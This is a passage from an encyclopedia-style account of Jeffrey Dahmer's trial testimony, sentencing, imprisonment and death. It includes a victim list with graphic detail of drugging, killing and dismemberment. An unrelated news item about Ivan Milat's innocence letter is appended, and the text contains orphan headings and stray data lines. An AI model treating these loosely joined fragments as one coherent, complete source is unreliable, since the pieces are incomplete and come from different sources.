The second and final witness to appear for the prosecution, forensic psychiatrist Park Dietz, began his testimony on February 12. Dietz testified that he did not believe Dahmer had any form of mental disease or defect at the time that he committed the crimes, stating that "Dahmer went to great lengths to be alone with his victim and to have no witnesses." He explained that there was ample evidence that Dahmer prepared in advance for each murder, therefore, his crimes were not impulsive. Although Dietz did concede any acquisition of a paraphilia was not a matter of personal choice, he stated his belief that Dahmer's habit of becoming intoxicated prior to committing each of the murders was significant; "If he had an impulse to kill or a compulsion to kill", Dietz testified, "he wouldn't have to drink alcohol to overcome it. He only has to drink alcohol to overcome it because he is inhibited against killing."

Dietz noted that Dahmer strongly identified with the villains of The Exorcist III and Return of the Jedi, particularly the level of power held by these characters. Expounding on the significance of these movies on Dahmer's psyche and many of the murders committed at the Oxford Apartments, Dietz explained that Dahmer occasionally viewed scenes from these films before searching for a victim. Dietz diagnosed Dahmer with substance use disorder, paraphilia, and schizotypal personality disorder.

Two court-appointed mental health professionals-testifying independently of either prosecution or defense-were forensic psychiatrist George Palermo and clinical psychologist Samuel Friedman. Palermo stated that the murders were the result of a "pent-up aggression within himself [Dahmer]. He killed those men because he wanted to kill the source of his homosexual attraction to them. In killing them, he killed what he hated in himself." Palermo concluded that Dahmer had a severe mixed personality disorder, with antisocial, obsessive-compulsive, sadistic, fetishistic, borderline and necrophilic features, but otherwise legally sane.

Friedman testified that it was a longing for companionship that caused Dahmer to kill and testified that Dahmer was not psychotic. He described Dahmer as "amiable, pleasant to be with, courteous, with a sense of humor, conventionally handsome, and charming in manner. He was, and still is, a bright young man." He diagnosed Dahmer with a personality disorder not otherwise specified featuring borderline, obsessive-compulsive, and sadistic traits.

Closing arguments

The trial lasted two weeks. On February 14, both attorneys delivered their closing arguments to the jury. Each attorney was allowed to speak for two hours. Defense attorney Gerald Boyle argued first. Repeatedly referring to the testimony of the mental health professionals-almost all of whom had agreed Dahmer was afflicted with a mental disease-Boyle argued that Dahmer's compulsive killings had been a result of "a sickness he discovered, not chose." Boyle portrayed Dahmer as a desperately lonely and profoundly sick individual "so out of control he could not conform his conduct anymore."

Following the defense counsel's 75-minute closing argument, Michael McCann delivered his closing argument for the prosecution, describing Dahmer as a sane man, in full control of his actions, who simply strove to avoid detection. McCann described Dahmer as a calculating individual who killed to control his victims and retained their bodies "merely to afford" himself a prolonged period of sexual pleasure. McCann argued that by pleading guilty but insane to the charges, Dahmer was seeking to escape responsibility for his crimes.

Conviction

Dahmer was then sentenced to life imprisonment plus ten years upon the first two counts. The remaining thirteen counts carried a mandatory sentence of life imprisonment plus seventy years. The death penalty was not an option for Judge Gram to consider at the penalty phase, as Wisconsin had abolished capital punishment in 1853.

Upon hearing of Dahmer's sentencing, his father Lionel and stepmother Shari requested to be allowed a ten-minute private meeting with their son before he was transferred to the Columbia Correctional Institution in Portage, to begin his sentence. This request was granted, and the trio exchanged hugs and well-wishes before Dahmer was escorted away.

Imprisonment

The Columbia Correctional Institution. Dahmer was imprisoned at this facility until his death in 1994.

Upon sentencing, Dahmer was transferred to the Columbia Correctional Institution. For the first year of his incarceration, Dahmer was placed in solitary confinement due to concerns for his physical safety should he come into contact with fellow inmates. He received ample correspondence from individuals across the world, with several individuals donating money which he spent on items such as cassette recordings, stationery, cigarettes, and magazines. Upon Dahmer's request, after one year in solitary confinement, he was transferred to a less secure unit, where he was assigned a two-hour daily work detail cleaning the toilet block. This work detail later expanded to include cleaning the prison gymnasium.

Shortly after completing his lengthy confessions in 1991, Dahmer had requested to Detective Murphy that he be given a copy of the Bible. This request was granted and Dahmer gradually devoted himself to Christianity and became a born-again Christian. On his father's urging, he also read creationist books from the Institute for Creation Research. In May 1994, Dahmer was baptized by Roy Ratcliff, a minister in the Church of Christ and a graduate of Oklahoma Christian University whom he had met on April 20. This service was conducted in the prison whirlpool.

Following Dahmer's baptism, Ratcliff visited him on a weekly basis. The two regularly discussed the prospect of death, and Ratcliff later divulged that, in the months prior to his murder, Dahmer had questioned whether he was sinning against God by continuing to live. Referring to his crimes in a 1994 interview with Stone Phillips on Dateline NBC, Dahmer had stated: "If a person doesn't think that there is a God to be accountable to, then what's the point of trying to modify your behavior to keep it within acceptable ranges? That's how I thought anyway."

On July 3, 1994, a fellow inmate, Osvaldo Durruthy, attempted to slash Dahmer's throat with a razor embedded in a toothbrush as Dahmer sat in the prison chapel after the weekly church service was concluded. Dahmer received superficial wounds and was not seriously hurt in this incident. According to Dahmer's family, he had long been ready to die, and accepted any punishment which he might endure in prison. In addition to his father and stepmother maintaining regular contact, Dahmer's mother, Joyce, also maintained regular contact with her son. Prior to his arrest, the two had not seen each other since Christmas 1983. Joyce related that in her weekly phone calls, whenever she expressed concerns for her son's physical well-being, Dahmer responded with comments to the effect of: "It doesn't matter, Mom. I don't care if something happens to me."

On the morning of November 28, 1994, Dahmer left his cell to conduct his assigned work detail. Accompanying him were two fellow inmates, Jesse Anderson and Christopher Scarver. The trio were left unsupervised in the showers of the prison gym for approximately 20 minutes. At approximately 8:10 a.m. Dahmer was discovered on the floor of the bathrooms of the gym suffering from extreme head wounds; he had been severely bludgeoned about the head and face with a 20-inch (51-centimeter) metal bar. His head had also been repeatedly struck against the wall in the assault. Although Dahmer was still alive and was rushed to a nearby hospital, he was pronounced dead one hour later. Anderson had been beaten with the same instrument; he died from his wounds two days later.

Scarver, who was serving a life sentence for a murder committed in 1990, informed authorities he had first attacked Dahmer with the metal bar as Dahmer was cleaning a staff locker room, before attacking Anderson as Anderson cleaned an inmate locker room. According to Scarver, Dahmer did not yell or make any noise as he was attacked. Immediately after attacking both men, Scarver, who was thought to be schizophrenic, returned to his cell and informed a prison guard: "God told me to do it. Jesse Anderson and Jeffrey Dahmer are dead." Scarver was adamant he had not planned the attacks in advance, although he later divulged to investigators he had concealed the 20-inch iron bar used to kill both men in his clothing shortly before the killings.

Upon learning of his death, Dahmer's mother Joyce responded angrily to the media: "Now is everybody happy? Now that he's bludgeoned to death, is that good enough for everyone?" The response of the families of Dahmer's victims was mixed: some celebrated the news, while others were saddened. Catherine Lacy, the mother of victim Oliver Lacy, remarked: "The hurt is worse now, because he's not suffering like we are." The district attorney who prosecuted Dahmer cautioned against turning Scarver into a folk hero, saying that Dahmer's death was still murder. On May 15, 1995, Scarver was sentenced to two additional terms of life imprisonment for the murders of Dahmer and Anderson.

Dahmer had stated in his will that he wished for no services to be conducted and that he wished to be cremated. In September 1995, Dahmer's body was cremated, and his ashes divided between his parents. Owing to a disagreement between his parents as to whether Dahmer's brain should be retained for medical research, this organ was initially retained, but later cremated in December 1995.

Dahmer's murders were committed at a time of heightened racial tension in Milwaukee. A professor of community studies at the University of Wisconsin-Milwaukee, Walter Farrell, later stated race relations in the city had been "in a state of disrepair for nearly a decade" at the time of Dahmer's arrest. In an August 1991 interview given to the Christian Science Monitor, Farrell stated that news of the murders, as well as the conduct of Milwaukee police officers John Balcerzak and Joseph Gabrish with regards to victim Konerak Sinthasomphone, exacerbated and highlighted racial tensions within the city.

The Oxford Apartments at 924 North 25th Street, where Dahmer had killed twelve of his victims, were demolished in November 1992. The site is now a vacant lot. Alternate plans to convert the site into either a memorial garden, a playground, or to reconstruct new housing have failed to materialize.

Dahmer's estate was awarded to the families of eleven of his victims who had sued for damages. In 1996, Thomas Jacobson, a lawyer representing eight of the families, announced a planned auction of Dahmer's estate. Although victims' relatives stated the motivation was not greed, the announcement sparked controversy. A civic group, Milwaukee Civic Pride, was quickly established in an effort to raise the funds to purchase and destroy many of Dahmer's possessions. The group pledged $407,225, including a $100,000 gift by Milwaukee real estate developer Joseph Zilber, for purchase of Dahmer's estate; five of the eight families represented by Jacobson agreed to the terms, and Dahmer's possessions were subsequently destroyed and buried in an undisclosed Illinois landfill.

Lionel Dahmer is retired; he lived with his second wife, Shari, until her death in 2023. Both refused to change their surname and professed their love of Dahmer in spite of his crimes. In 1994, Lionel published a book, A Father's Story, and donated a portion of the proceeds from his book to the victims' families. Most of the families showed support for Lionel and Shari, although three families subsequently sued Lionel: two for using their names in the book without obtaining prior consent, and a third family-that of Steven Hicks-filing a wrongful death suit against Lionel, Shari, and former wife Joyce, citing parental negligence as the cause for the claim.

Jeffrey Dahmer killed seventeen young men between 1978 and 1991. Twelve were killed in his North 25th Street apartment. Three victims were murdered and dismembered at his grandmother's West Allis residence. His first and second victims were murdered at his parents' home in Ohio and at the Ambassador Hotel in Milwaukee, respectively. A total of fourteen of Dahmer's victims were from various ethnic minority backgrounds, with nine victims being black. Dahmer was adamant that the race of his victims was incidental to him and that it was the body form of a potential victim that attracted his attention. These contentions have been supported via an independent forensic specialists' study of Dahmer's victim selection, the anthropological analysis of which revealed his victims shared a " morphological similarity" and suggesting Dahmer was "psychologically attracted to a certain anthropometric body type."

Steven Walter Tuomi

January 16: James Edward Doxtator, 14. Met Dahmer outside a gay bar in Wisconsin. Doxtator was lured to West Allis on the pretext of earning $50 for posing for nude pictures. Dahmer strangled Doxtator and kept his body in the basement for a week before dismembering him and discarding the remains in the trash. No remains were ever found.

March 25: Anthony Lee Sears, 24. Sears was the last victim to be drugged and strangled at Dahmer's grandmother's residence; he was also the first victim from whom Dahmer permanently retained any body parts. His preserved skull and genitals were found in a filing cabinet at 924 North 25th Street following Dahmer's arrest in 1991.

May 20: Raymond Lamont Smith (also known as Ricky Beeks), 32. The first victim to be killed at Dahmer's North 25th Street apartment. Smith was a male sex worker whom Dahmer encountered at a tavern. Dahmer gave Smith a drink laced with sleeping pills, then strangled him on his kitchen floor. His skull was spray-painted and retained.

June 14: Edward Warren Smith, 27. A known acquaintance of Dahmer who was last seen in his company at a party. Dahmer acidified Smith's skeleton; his skull was destroyed unintentionally when placed in the oven in an effort to remove moisture. No remains were ever found.

September 2: Ernest Marquez Miller, 22. Miller was a dance student whom Dahmer encountered outside a bookstore. According to Dahmer, he was especially attracted to Miller's physique. He was killed by having his carotid artery severed before being dismembered in the bathtub, with Dahmer storing his entire skeleton in the bottom drawer of a filing cabinet and his heart, liver, biceps, and portions of his thighs in the freezer for later consumption.

February 18: Curtis Durrell Straughter, 17. Approached by Dahmer as he waited at a bus stop near Marquette University. Dahmer lured Straughter to his apartment, where he drugged, handcuffed and strangled him before dismembering his body in the bathtub. He retained Straughter's skull, hands, and genitals.

Tony Anthony Hughes

May 24: Tony Anthony Hughes, 31. Hughes was lured by Dahmer to his apartment upon the promise of posing nude for photographs. As Hughes was deaf, he and Dahmer communicated using handwritten notes.[n 22] The injection of hydrochloric acid into Hughes's skull proved fatal. His body was left on Dahmer's bedroom floor for three days before being dismembered, with Dahmer photographing the dismemberment process. His skull was retained and identified from dental records.

June 30: Matt Cleveland Turner, 20. On June 30, Dahmer attended the Chicago Pride Parade. At a bus stop, he encountered a 20-year-old named Matt Turner and persuaded him to accompany him to Milwaukee to pose for a photo shoot. Turner was drugged, strangled, and then dismembered in the bathtub. His head and internal organs were put in the freezer and his torso subsequently placed in the 57-gallon drum Dahmer purchased on July 12.

July 19: Joseph Arthur Bradehoft, 25. Dahmer's last victim. Bradehoft was a father of three children from Minnesota who was looking for work in Milwaukee at the time of his murder.[351][352] He was left on Dahmer's bed for two days following his murder before, on July 21, being decapitated. His head was placed in the refrigerator and his torso in the 57-gallon drum.

The Secret Life: Jeffrey Dahmer was released in 1993. Directed by David Bowen, this biographical crime drama stars Carl Crew as Dahmer.

The biographical film was released in 2002. It stars Jeremy Renner in the title role and co-stars Bruce Davison as Dahmer's father, Lionel.

The drama film Raising Jeffrey Dahmer was released in 2006. Revolving around the reactions of Dahmer's parents following his arrest in 1991, Raising Jeffrey Dahmer stars Rusty Sneary as Dahmer and co-stars Scott Cordes as Lionel.

In 2012, an independent documentary, The Jeffrey Dahmer Files, premiered at the South by Southwest festival. It features interviews with Dahmer's former neighbor, Pamela Bass, as well as Detective Patrick Kennedy, and the city medical examiner Jeffrey Jentzen.

The Marc Meyers-directed film, My Friend Dahmer, premiered at the Tribeca Film Festival on April 25, 2017. Based on the graphic novel by John Backderf, the film stars Ross Lynch as Dahmer and chronicles his high school years and the events leading up to his first murder.

Television

The Trial of Jeffrey Dahmer was released in 1992. Directed by Elkan Allan, this documentary largely focuses upon testimony delivered at Dahmer's first trial. The documentary concludes with Dahmer's addressing Judge Laurence Gram following his conviction.[359]

Dahmer: Mystery of a Serial Killer. Directed by Michael Husain and released in November 1993, this 50-minute A&E Networks documentary contains archive footage of Dahmer's trial in addition to interviews with individuals such as forensic psychiatrist Park Dietz.[360]

Inside Edition conducted an interview with Dahmer in January 1993. Conducted by reporter Nancy Glass, this 30-minute interview was broadcast in February 1993.[361]

ABC News has commissioned a one-hour episode focusing upon Dahmer's crimes as part of their television news magazine series Day One. This episode features interviews with forensic psychiatrist Park Dietz and psychiatrist Fred Berlin and was first broadcast in April 1993.[362]

Channel 4 has commissioned a documentary focusing on the murders committed by Jeffrey Dahmer. Titled To Kill and Kill Again, this 50-minute documentary was first broadcast on December 12, 1993.[363]

Dateline NBC has also broadcast an interview with Dahmer. Conducted by Stone Phillips and first broadcast on March 8, 1994, this 90-minute episode-titled Confessions of a Serial Killer-features interviews with Dahmer and his father conducted at Columbia Correctional Institution. Dahmer's mother is also interviewed for this program.[364]

The BBC has broadcast a documentary focusing on the life and crimes of Jeffrey Dahmer. Titled Everyman: Profile of a Serial Killer and directed by Nikki Stockley, this 50-minute documentary was first broadcast in November 1994.[365]

A&E Networks has commissioned a second documentary focusing upon the murders committed by Jeffrey Dahmer. Titled Jeffrey Dahmer: The Monster Within, this 50-minute episode was first broadcast in June 1996 and contains interviews with Detective Patrick Kennedy and Prosecutor Michael McCann.[366]

The British true crime series Born to Kill? has broadcast an episode focusing upon Jeffrey Dahmer. This 45-minute episode features interviews with FBI criminal profiler Robert Ressler and Detective Patrick Kennedy and was first broadcast in October 2005.[367]

The Investigation Discovery channel has also broadcast a documentary focusing upon Dahmer within its documentary series, Most Evil. This documentary features excerpts of Dahmer's 1994 Dateline NBC interview with Stone Phillips and was first broadcast in August 2006.[368]

HLN has broadcast an episode focusing upon Dahmer's crimes as part of its investigative series, How it Really Happened. This episode, titled The Strange Case of Jeffrey Dahmer, was originally aired on March 31, 2017.[369]

The digital cable and satellite television channel Oxygen broadcast the two-part documentary Dahmer on Dahmer: A Serial Killer Speaks in November 2017. Produced and directed by Matthew Watts, the program features interviews with, among others, Dahmer's father, stepmother, former classmates, psychiatrists who testified at his trial, and a homicide detective involved in the investigation.[370]

Poster for the theatrical play Jeffrey Dahmer: Guilty but Insane

References

Print sources

Further reading

External links

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Jeffrey Lionel Dahmer (; May 21, 1960 - November 28, 1994), also known as the Milwaukee Cannibal or the Milwaukee Monster, was an American serial killer and sex offender who killed and dismembered seventeen males between 1978 and 1991. Many of his later murders involved necrophilia, cannibalism, and the permanent preservation of body parts-typically all or part of the skeleton.

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Notorious serial killer Ivan Milat has written to the media from Long Bay jail hospital, claiming he is innocent of the murder seven backpackers.

In a three-page handwritten letter dated July 11 and sent to The Sun-Herald, the 74-year-old says his life since being arrested and convicted "has been devoted wholly to prove my innocence...(and) the court judiciary who conspired to obscure the miscarriages of justice".

Milat was found guilty in 1996 of murdering seven backpackers whose bodies were found in makeshift graves in Belanglo State Forest in the 1990s.

He was transferred back to Long Bay jail hospital last weekend after spending more than a week at Prince of Wales Hospital in Randwick.

He spent another two weeks at the hospital in May when he was diagnosed with oesophagus and stomach cancer.

"I am sure that you are aware of how cancer is, it's a grim finding and less than 50 per cent survive it and, I feel that the unpredictability of the effect of the treatment would overtake any commentary by me of it," Milat writes in the letter published by the Sydney Morning Herald on Sunday.

"It is in the hands of my carers (doctors etc) and of course, Our Lord in Heaven."

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Ivan Milat pens letter claiming he is innocent of backpacker murders

# data[].attributes.attachment_link.description
Notorious serial killer Ivan Milat has written to the media from Long Bay jail hospital, claiming he is innocent of the murder seven backpackers. In a three-page handwritten letter dated July 11 and sent to The Sun-Herald, the 74-year-old says his life since being arrested and convicted "has been devoted wholly to prove my innocence...(and) the court judiciary who conspired to obscure the miscarriages of justice".